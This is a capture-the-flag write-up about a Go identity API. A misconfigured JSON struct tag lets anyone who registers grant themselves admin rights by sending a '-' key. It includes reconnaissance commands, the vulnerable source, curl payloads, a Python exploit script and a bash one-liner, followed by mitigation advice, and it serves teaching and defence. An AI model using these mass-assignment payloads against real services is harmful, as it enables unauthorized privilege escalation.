Identity API - HC Writeup

February 15, 2026·8 min read·
ctfwebgojwtmass-assignment

Reading time: ~10 minutes | Level: Easy

Target Information

  • IP Address: 10.10.0.17
  • Difficulty: Easy
  • Tags: Go, JWT, Mass Assignment, JSON Struct Tag Misconfiguration, CWE-915

Reconnaissance

Port Scanning

Initial scan using nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 10.10.0.17

Results:

$code
PORT     STATE SERVICE VERSION
8080/tcp open  http    Go net/http server

Web Enumeration

Discovery: REST API Endpoints

Accessing the application on port 8080, we find a Go-based Identity API with the following endpoints:

MethodEndpointAuth RequiredDescription
POST/api/registerNoRegister new user
POST/api/loginNoLogin, returns JWT
GET/api/user/meYes (JWT)Current user info
GET/api/adminYes (JWT)Admin-only, returns flag

Testing registration:

$bash
curl -X POST http://10.10.0.17:8080/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com","password":"test123"}'

Response:

$json
{"message":"user created"}

Testing login:

$bash
curl -X POST http://10.10.0.17:8080/api/login \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"test123"}'

Response:

$json
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Testing admin endpoint with regular user token:

$bash
curl http://10.10.0.17:8080/api/admin \
  -H "Authorization: Bearer <TOKEN>"

Response:

$json
{"error":"forbidden"}

The admin endpoint checks the is_admin claim in the JWT. We need a token with is_admin: true.


Source Code Analysis

The challenge provides the application source code. Analysis of the Go files revealed a critical misconfiguration in the User model.

models.go — The User struct:

$go
type User struct {
    ID       int
    Username string `json:"username"`
    Email    string `json:"email"`
    Password string `json:"password"`
    IsAdmin  bool   `json:"-,omitempty"`
}

handlers_auth.go — Registration handler:

$go
func RegisterHandler(w http.ResponseWriter, r *http.Request) {
    var user User
 
    if err := json.NewDecoder(r.Body).Decode(&user); err != nil {
        // ...
    }
 
    _, err := db.Exec(
        "INSERT INTO users (username, email, password, is_admin) VALUES (?, ?, ?, ?)",
        user.Username, user.Email, user.Password, user.IsAdmin,
    )
    // ...
}

auth.go — JWT generation uses user.IsAdmin directly from the database:

$go
func GenerateJWT(user User) (string, error) {
    claims := Claims{
        UserID:   user.ID,
        Username: user.Username,
        Email:    user.Email,
        IsAdmin:  user.IsAdmin,
        // ...
    }
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
    return token.SignedString(jwtSecret)
}

handlers_admin.go — Flag is returned if is_admin is true in JWT claims:

$go
func AdminHandler(w http.ResponseWriter, r *http.Request) {
    claims := r.Context().Value(userContextKey).(*Claims)
 
    if !claims.IsAdmin {
        // returns 403 forbidden
        return
    }
 
    flag := os.Getenv("FLAG")
    json.NewEncoder(w).Encode(map[string]string{"flag": flag})
}

Exploitation: Mass Assignment via JSON Tag Misconfiguration

Go encoding/json Tag Parsing Quirk

The vulnerability lies in the JSON struct tag for IsAdmin:

$go
IsAdmin  bool   `json:"-,omitempty"`

At first glance, this appears to exclude IsAdmin from JSON marshaling/unmarshaling using the special "-" tag. However, this is a misunderstanding of Go's encoding/json behavior.

According to the Go documentation:

As a special case, if the field tag is "-", the field is always omitted. Note that a field with name "-" can still be generated using the tag "-,".

The key distinction:

TagBehavior
json:"-"Field is ignored during marshal/unmarshal
json:"-,omitempty"Field is mapped to the literal key "-"
json:"-,"Field is mapped to the literal key "-"

When the tag is json:"-,omitempty", Go treats "-" as the field name (a literal hyphen character) and omitempty as an option. The field is not excluded — it is mapped to the JSON key "-".

This means we can set IsAdmin = true by sending "-": true in the JSON body during registration.

Attack Chain

  1. Register a user with "-": true in the JSON body → IsAdmin is set to true in the struct
  2. The handler inserts user.IsAdmin (now true) directly into the database
  3. Login with the new user → server queries the database, gets is_admin = 1
  4. GenerateJWT() creates a token with is_admin: true
  5. Use the token to access /api/admin → flag is returned

Step 1: Register Admin User

$bash
curl -X POST http://10.10.0.17:8080/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","email":"hacker@pwn.com","password":"password123","-":true}'

Response:

$json
{"message":"user created"}

Step 2: Login to Get Admin JWT

$bash
curl -X POST http://10.10.0.17:8080/api/login \
  -H "Content-Type: application/json" \
  -d '{"email":"hacker@pwn.com","password":"password123"}'

Response:

$json
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Decoding the JWT payload confirms is_admin: true:

$json
{
  "user_id": 2,
  "username": "hacker",
  "email": "hacker@pwn.com",
  "is_admin": true,
  "exp": 1739750000,
  "iat": 1739663600
}

Step 3: Retrieve the Flag

$bash
curl http://10.10.0.17:8080/api/admin \
  -H "Authorization: Bearer <TOKEN>"

Response:

$json
{"flag":"hackingclub{REDACTED}"}

Flag obtained!


Attack Chain Summary

$code
1. Source Code Analysis — Identified JSON tag misconfiguration
   ↓
2. Go encoding/json Quirk — json:"-,omitempty" maps to literal "-" key
   ↓
3. Mass Assignment — Register user with "-": true to set IsAdmin
   ↓
4. Database Insertion — is_admin = 1 stored in SQLite
   ↓
5. Login — Server generates JWT with is_admin: true
   ↓
6. Admin Access — /api/admin returns the flag

Vulnerabilities Summary

  1. Mass Assignment via JSON Tag Misconfiguration CWE-915 Critical

    • The json:"-,omitempty" tag does not exclude the field from unmarshaling. It maps it to the literal key "-", allowing attackers to set IsAdmin to true during registration.
  2. Plaintext Password Storage CWE-256 High

    • Passwords are stored and compared in plaintext with no hashing (e.g., bcrypt).
  3. No Input Validation on Registration CWE-20 Medium

    • The registration endpoint accepts arbitrary fields without validation or allowlisting, enabling mass assignment attacks.

Technical Analysis

Go encoding/json Tag Parsing Deep Dive

Technology: Go 1.21+ / encoding/json standard library

Vulnerable code pattern:

$go
type User struct {
    IsAdmin bool `json:"-,omitempty"`  // VULNERABLE: maps to literal "-"
}

Secure code pattern:

$go
type User struct {
    IsAdmin bool `json:"-"`  // SECURE: field is truly ignored
}

How Go parses the tag internally:

The encoding/json package splits the tag value by the first comma:

  • json:"-" → name is "-", no options → special case: skip this field
  • json:"-,omitempty" → name is "-", options are "omitempty"not the special case, name is treated as literal hyphen
  • json:"-," → name is "-", options are ""not the special case, name is treated as literal hyphen

The special "ignore" behavior only triggers when the entire tag value is exactly the string "-" with nothing else after it.


Mitigation Recommendations

Application Level

  1. Fix the JSON struct tag:
$go
// BEFORE (vulnerable):
type User struct {
    IsAdmin bool `json:"-,omitempty"`
}
 
// AFTER (secure):
type User struct {
    IsAdmin bool `json:"-"`
}
  1. Use a separate DTO for user input:
$go
// Input struct — only allowed fields
type RegisterInput struct {
    Username string `json:"username"`
    Email    string `json:"email"`
    Password string `json:"password"`
}
 
// Internal model — has all fields
type User struct {
    ID       int
    Username string
    Email    string
    Password string
    IsAdmin  bool
}
  1. Hash passwords with bcrypt:
$go
import "golang.org/x/crypto/bcrypt"
 
// Registration
hash, err := bcrypt.GenerateFromPassword([]byte(input.Password), bcrypt.DefaultCost)
 
// Login
err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(input.Password))

Database Level

$sql
-- Always set is_admin to 0 on registration
INSERT INTO users (username, email, password, is_admin) VALUES (?, ?, ?, 0);

Proof of Concept

Exploitation Script

$python
#!/usr/bin/env python3
"""
Identity API CTF - Mass Assignment Exploit
Exploits Go json:"-,omitempty" tag misconfiguration
"""
import requests
import sys
 
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://10.10.0.17:8080"
 
def exploit():
    print(f"[*] Target: {TARGET}")
 
    # Step 1: Register admin user via mass assignment
    print("[+] Registering user with is_admin=true via '-' key...")
    reg = requests.post(f"{TARGET}/api/register", json={
        "username": "exploit",
        "email": "exploit@pwn.com",
        "password": "exploit123",
        "-": True  # Maps to IsAdmin due to json:"-,omitempty" tag
    })
    print(f"    Registration: {reg.status_code} - {reg.text.strip()}")
 
    # Step 2: Login to obtain JWT with is_admin claim
    print("[+] Logging in...")
    login = requests.post(f"{TARGET}/api/login", json={
        "email": "exploit@pwn.com",
        "password": "exploit123"
    })
    token = login.json()["token"]
    print(f"    Token: {token[:50]}...")
 
    # Step 3: Access admin endpoint
    print("[+] Accessing /api/admin...")
    admin = requests.get(f"{TARGET}/api/admin", headers={
        "Authorization": f"Bearer {token}"
    })
 
    if admin.status_code == 200:
        print(f"\n[!] FLAG: {admin.json().get('flag', 'NOT FOUND')}")
 
if __name__ == "__main__":
    exploit()

One-liner Bash

$bash
TOKEN=$(curl -s -X POST http://10.10.0.17:8080/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"pwn","email":"pwn@pwn.com","password":"pwn","-":true}' > /dev/null && \
  curl -s -X POST http://10.10.0.17:8080/api/login \
  -H "Content-Type: application/json" \
  -d '{"email":"pwn@pwn.com","password":"pwn"}' | jq -r '.token') && \
  curl -s http://10.10.0.17:8080/api/admin \
  -H "Authorization: Bearer $TOKEN" | jq .

Tools Used

  • nmap - Network port scanning and service detection
  • curl - HTTP request crafting and API testing
  • jwt.io - JWT token decoding and inspection

References

Go JSON Handling

Mass Assignment

JWT Security